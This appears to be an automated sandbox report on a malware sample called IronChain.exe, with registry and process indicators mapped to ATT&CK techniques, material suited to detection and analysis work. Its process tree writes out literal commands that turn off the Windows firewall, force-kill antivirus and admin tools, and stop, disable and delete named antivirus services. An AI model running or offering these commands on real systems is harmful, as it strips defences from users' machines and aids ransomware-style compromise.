e95f39cae2c98b46f5f4d5e6587047273610ebde44755eae78d3f416200f8d72

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\IronChain.exe\""	IronChain.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\IronChain.exe\""	IronChain.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	IronChain.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	IronChain.exe

Blocks application from running via registry modification 24 IoCs

Adds application to list of disallowed applications.

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\3 = "gpedit.msc"	IronChain.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\4 = "SystemSettings.exe"	IronChain.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\8 = "taskmgr.exe"	IronChain.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\9 = "regedit.exe"	IronChain.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\5 = "procexp.exe"	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\8 = "taskmgr.exe"	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\10 = "diskpart.exe"	IronChain.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	IronChain.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "msconfig.exe"	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "msconfig.exe"	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "Autoruns.exe"	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\6 = "cmd.exe"	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\7 = "powershell.exe"	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\9 = "regedit.exe"	IronChain.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "Autoruns.exe"	IronChain.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\3 = "gpedit.msc"	IronChain.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\6 = "cmd.exe"	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\4 = "SystemSettings.exe"	IronChain.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	IronChain.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\5 = "procexp.exe"	IronChain.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\7 = "powershell.exe"	IronChain.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\10 = "diskpart.exe"	IronChain.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
6088	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	IronChain.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	IronChain.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe	IronChain.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger = "svchost.exe"	IronChain.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger = "svchost.exe"	IronChain.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe	IronChain.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	IronChain.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
3704	netsh.exe

Possible privilege escalation attempt 24 IoCs

exploit

pid	Process
2164	icacls.exe
1112	icacls.exe
5500	icacls.exe
4600	takeown.exe
4760	takeown.exe
2792	takeown.exe
5168	icacls.exe
5440	takeown.exe
5892	takeown.exe
5520	icacls.exe
5672	icacls.exe
2248	takeown.exe
5504	takeown.exe
5960	takeown.exe
5504	takeown.exe
3200	icacls.exe
3724	icacls.exe
1544	icacls.exe
5088	icacls.exe
2068	takeown.exe
2752	icacls.exe
2868	icacls.exe
5168	takeown.exe
384	takeown.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs

Safe Mode Boot

T1562.009

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\IronChainSecurity	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\IronChainSecurity\ = "Service"	IronChain.exe

Loads dropped DLL 23 IoCs

pid	Process
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe
2584	IronChain.exe

Modifies file permissions 1 TTPs 24 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2752	icacls.exe
2868	icacls.exe
2792	takeown.exe
5168	takeown.exe
1112	icacls.exe
2248	takeown.exe
1544	icacls.exe
5672	icacls.exe
2164	icacls.exe
5500	icacls.exe
5440	takeown.exe
5504	takeown.exe
5892	takeown.exe
3200	icacls.exe
5088	icacls.exe
384	takeown.exe
4600	takeown.exe
4760	takeown.exe
3724	icacls.exe
5520	icacls.exe
5504	takeown.exe
2068	takeown.exe
5168	icacls.exe
5960	takeown.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Windows\CurrentVersion\Run\IronChain = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\IronChain.exe\""	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\IronChain = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\IronChain.exe\""	IronChain.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	IronChain.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	IronChain.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\svchost_killer.bat	IronChain.exe
File opened for modification	C:\Windows\System32\svchost_killer.bat	IronChain.exe

Launches sc.exe 32 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4032	sc.exe
1052	sc.exe
1412	sc.exe
5708	sc.exe
3372	sc.exe
4976	sc.exe
4512	sc.exe
3740	sc.exe
3020	sc.exe
5940	sc.exe
2248	sc.exe
5328	sc.exe
4724	sc.exe
3980	sc.exe
656	sc.exe
4680	sc.exe
2268	sc.exe
3424	sc.exe
1220	sc.exe
5140	sc.exe
4912	sc.exe
4532	sc.exe
4880	sc.exe
844	sc.exe
396	sc.exe
812	sc.exe
5336	sc.exe
4740	sc.exe
3444	sc.exe
3888	sc.exe
1240	sc.exe
4904	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
640	cmd.exe
3336	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5864	ping.exe
5596	ping.exe

Kills process with taskkill 22 IoCs

pid	Process
2196	taskkill.exe
6080	taskkill.exe
4892	taskkill.exe
5020	taskkill.exe
1780	taskkill.exe
796	taskkill.exe
1720	taskkill.exe
4540	taskkill.exe
1712	taskkill.exe
5168	taskkill.exe
384	taskkill.exe
440	taskkill.exe
2188	taskkill.exe
4664	taskkill.exe
5904	taskkill.exe
4040	taskkill.exe
2516	taskkill.exe
6060	taskkill.exe
4108	taskkill.exe
3452	taskkill.exe
5932	taskkill.exe
4948	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000_Classes\Local Settings	IronChain.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
3852	NOTEPAD.EXE

Runs net.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
5596	ping.exe
5864	ping.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
6088	powershell.exe
6088	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	2584	IronChain.exe
Token: SeDebugPrivilege	1720	taskkill.exe
Token: SeDebugPrivilege	4664	taskkill.exe
Token: SeDebugPrivilege	5904	taskkill.exe
Token: SeDebugPrivilege	6080	taskkill.exe
Token: SeDebugPrivilege	4040	taskkill.exe
Token: SeDebugPrivilege	4892	taskkill.exe
Token: SeDebugPrivilege	2516	taskkill.exe
Token: SeDebugPrivilege	5020	taskkill.exe
Token: SeDebugPrivilege	4540	taskkill.exe
Token: SeDebugPrivilege	1780	taskkill.exe
Token: SeDebugPrivilege	2196	taskkill.exe
Token: SeDebugPrivilege	1712	taskkill.exe
Token: SeDebugPrivilege	3452	taskkill.exe
Token: SeDebugPrivilege	5932	taskkill.exe
Token: SeDebugPrivilege	5168	taskkill.exe
Token: SeDebugPrivilege	6060	taskkill.exe
Token: SeDebugPrivilege	796	taskkill.exe
Token: SeDebugPrivilege	384	taskkill.exe
Token: SeDebugPrivilege	4108	taskkill.exe
Token: SeDebugPrivilege	440	taskkill.exe
Token: SeDebugPrivilege	2188	taskkill.exe
Token: SeDebugPrivilege	6088	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5624 wrote to memory of 2584	5624	IronChain.exe	80
PID 2584 wrote to memory of 640	2584	IronChain.exe	82
PID 640 wrote to memory of 3704	640	cmd.exe	84
PID 2584 wrote to memory of 3336	2584	IronChain.exe	85
PID 2584 wrote to memory of 1720	2584	IronChain.exe	86
PID 3336 wrote to memory of 4664	3336	cmd.exe	89
PID 2584 wrote to memory of 6080	2584	IronChain.exe	90
PID 3336 wrote to memory of 5904	3336	cmd.exe	92
PID 2584 wrote to memory of 4892	2584	IronChain.exe	93
PID 3336 wrote to memory of 4040	3336	cmd.exe	95
PID 3336 wrote to memory of 2516	3336	cmd.exe	96
PID 2584 wrote to memory of 5020	2584	IronChain.exe	97
PID 2584 wrote to memory of 4540	2584	IronChain.exe	99
PID 2584 wrote to memory of 1780	2584	IronChain.exe	101
PID 2584 wrote to memory of 2196	2584	IronChain.exe	103
PID 2584 wrote to memory of 1712	2584	IronChain.exe	105
PID 2584 wrote to memory of 3452	2584	IronChain.exe	107
PID 2584 wrote to memory of 5932	2584	IronChain.exe	109
PID 2584 wrote to memory of 5168	2584	IronChain.exe	111
PID 2584 wrote to memory of 6060	2584	IronChain.exe	113
PID 2584 wrote to memory of 796	2584	IronChain.exe	115
PID 2584 wrote to memory of 384	2584	IronChain.exe	117
PID 2584 wrote to memory of 4108	2584	IronChain.exe	119
PID 2584 wrote to memory of 440	2584	IronChain.exe	121
PID 2584 wrote to memory of 2188	2584	IronChain.exe	123
PID 2584 wrote to memory of 4352	2584	IronChain.exe	125
PID 4352 wrote to memory of 224	4352	net.exe	127
PID 2584 wrote to memory of 2248	2584	IronChain.exe	128
PID 2584 wrote to memory of 4880	2584	IronChain.exe	130
PID 2584 wrote to memory of 3776	2584	IronChain.exe	132
PID 3776 wrote to memory of 1760	3776	net.exe	134
PID 2584 wrote to memory of 4740	2584	IronChain.exe	135
PID 2584 wrote to memory of 3444	2584	IronChain.exe	137
PID 2584 wrote to memory of 3784	2584	IronChain.exe	139
PID 3784 wrote to memory of 2396	3784	net.exe	141
PID 2584 wrote to memory of 3372	2584	IronChain.exe	142
PID 2584 wrote to memory of 4032	2584	IronChain.exe	144
PID 2584 wrote to memory of 4140	2584	IronChain.exe	146
PID 4140 wrote to memory of 5236	4140	net.exe	148
PID 2584 wrote to memory of 844	2584	IronChain.exe	149
PID 2584 wrote to memory of 5328	2584	IronChain.exe	151
PID 2584 wrote to memory of 1744	2584	IronChain.exe	153
PID 1744 wrote to memory of 4736	1744	net.exe	155
PID 2584 wrote to memory of 3424	2584	IronChain.exe	156
PID 2584 wrote to memory of 396	2584	IronChain.exe	158
PID 2584 wrote to memory of 872	2584	IronChain.exe	160
PID 872 wrote to memory of 4624	872	net.exe	162
PID 2584 wrote to memory of 4976	2584	IronChain.exe	163
PID 2584 wrote to memory of 4724	2584	IronChain.exe	165
PID 2584 wrote to memory of 4312	2584	IronChain.exe	167
PID 4312 wrote to memory of 5044	4312	net.exe	169
PID 2584 wrote to memory of 5940	2584	IronChain.exe	170
PID 2584 wrote to memory of 4532	2584	IronChain.exe	172
PID 2584 wrote to memory of 5756	2584	IronChain.exe	174
PID 5756 wrote to memory of 3472	5756	net.exe	176
PID 2584 wrote to memory of 3980	2584	IronChain.exe	177
PID 2584 wrote to memory of 1052	2584	IronChain.exe	179
PID 2584 wrote to memory of 2992	2584	IronChain.exe	181
PID 2992 wrote to memory of 3216	2992	net.exe	183
PID 2584 wrote to memory of 812	2584	IronChain.exe	184
PID 2584 wrote to memory of 1412	2584	IronChain.exe	186
PID 2584 wrote to memory of 3880	2584	IronChain.exe	188
PID 3880 wrote to memory of 3728	3880	net.exe	190
PID 2584 wrote to memory of 4512	2584	IronChain.exe	191

System policy modification 1 TTPs 14 IoCs

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "Autoruns.exe"	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\4 = "SystemSettings.exe"	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\5 = "procexp.exe"	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\6 = "cmd.exe"	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\7 = "powershell.exe"	IronChain.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\InactivityTimeoutSecs = "0"	IronChain.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\3 = "gpedit.msc"	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\8 = "taskmgr.exe"	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\9 = "regedit.exe"	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\10 = "diskpart.exe"	IronChain.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	IronChain.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	IronChain.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "msconfig.exe"	IronChain.exe

C:\Users\Admin\AppData\Local\Temp\IronChain.exe
"C:\Users\Admin\AppData\Local\Temp\IronChain.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5624
- C:\Users\Admin\AppData\Local\Temp\IronChain.exe
  "C:\Users\Admin\AppData\Local\Temp\IronChain.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Modifies Windows Defender DisableAntiSpyware settings
  - UAC bypass
  - Blocks application from running via registry modification
  - Disables RegEdit via registry modification
  - Drops file in Drivers directory
  - Event Triggered Execution: Image File Execution Options Injection
  - Impair Defenses: Safe Mode Boot
  - Loads dropped DLL
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Writes to the Master Boot Record (MBR)
  - Drops file in System32 directory
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:640
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:3704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\svchost_killer.bat
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3336
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avp.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4664
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ksde.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5904
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kavsvc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4040
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avpui.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2516
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im Taskmgr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1720
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6080
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4892
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5020
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4540
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1780
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im services.msc
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2196
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1712
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3452
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im control.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5932
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im WindowsSecurity.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5168
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6060
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:796
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im pwsh.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:384
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskkill.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4108
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:440
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im diskpart.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2188
- - C:\Windows\SYSTEM32\net.exe
    net stop AVP /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4352
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AVP /y
      4⤵
      PID:224
- - C:\Windows\SYSTEM32\sc.exe
    sc config AVP start= disabled
    3⤵
    - Launches sc.exe
    PID:2248
- - C:\Windows\SYSTEM32\sc.exe
    sc delete AVP
    3⤵
    - Launches sc.exe
    PID:4880
- - C:\Windows\SYSTEM32\net.exe
    net stop KAV /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3776
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop KAV /y
      4⤵
      PID:1760
- - C:\Windows\SYSTEM32\sc.exe
    sc config KAV start= disabled
    3⤵
    - Launches sc.exe
    PID:4740
- - C:\Windows\SYSTEM32\sc.exe
    sc delete KAV
    3⤵
    - Launches sc.exe
    PID:3444
- - C:\Windows\SYSTEM32\net.exe
    net stop BDSS /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3784
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BDSS /y
      4⤵
      PID:2396
- - C:\Windows\SYSTEM32\sc.exe
    sc config BDSS start= disabled
    3⤵
    - Launches sc.exe
    PID:3372
- - C:\Windows\SYSTEM32\sc.exe
    sc delete BDSS
    3⤵
    - Launches sc.exe
    PID:4032
- - C:\Windows\SYSTEM32\net.exe
    net stop Bitdefender /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4140
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop Bitdefender /y
      4⤵
      PID:5236
- - C:\Windows\SYSTEM32\sc.exe
    sc config Bitdefender start= disabled
    3⤵
    - Launches sc.exe
    PID:844
- - C:\Windows\SYSTEM32\sc.exe
    sc delete Bitdefender
    3⤵
    - Launches sc.exe
    PID:5328
- - C:\Windows\SYSTEM32\net.exe
    net stop "avast! Antivirus" /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1744
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "avast! Antivirus" /y
      4⤵
      PID:4736
- - C:\Windows\SYSTEM32\sc.exe
    sc config "avast! Antivirus" start= disabled
    3⤵
    - Launches sc.exe
    PID:3424
- - C:\Windows\SYSTEM32\sc.exe
    sc delete "avast! Antivirus"
    3⤵
    - Launches sc.exe
    PID:396
- - C:\Windows\SYSTEM32\net.exe
    net stop "avast! Service" /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:872
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "avast! Service" /y
      4⤵
      PID:4624
- - C:\Windows\SYSTEM32\sc.exe
    sc config "avast! Service" start= disabled
    3⤵
    - Launches sc.exe
    PID:4976
- - C:\Windows\SYSTEM32\sc.exe
    sc delete "avast! Service"
    3⤵
    - Launches sc.exe
    PID:4724
- - C:\Windows\SYSTEM32\net.exe
    net stop AVG /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4312
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AVG /y
      4⤵
      PID:5044
- - C:\Windows\SYSTEM32\sc.exe
    sc config AVG start= disabled
    3⤵
    - Launches sc.exe
    PID:5940
- - C:\Windows\SYSTEM32\sc.exe
    sc delete AVG
    3⤵
    - Launches sc.exe
    PID:4532
- - C:\Windows\SYSTEM32\net.exe
    net stop MBAMService /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5756
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MBAMService /y
      4⤵
      PID:3472
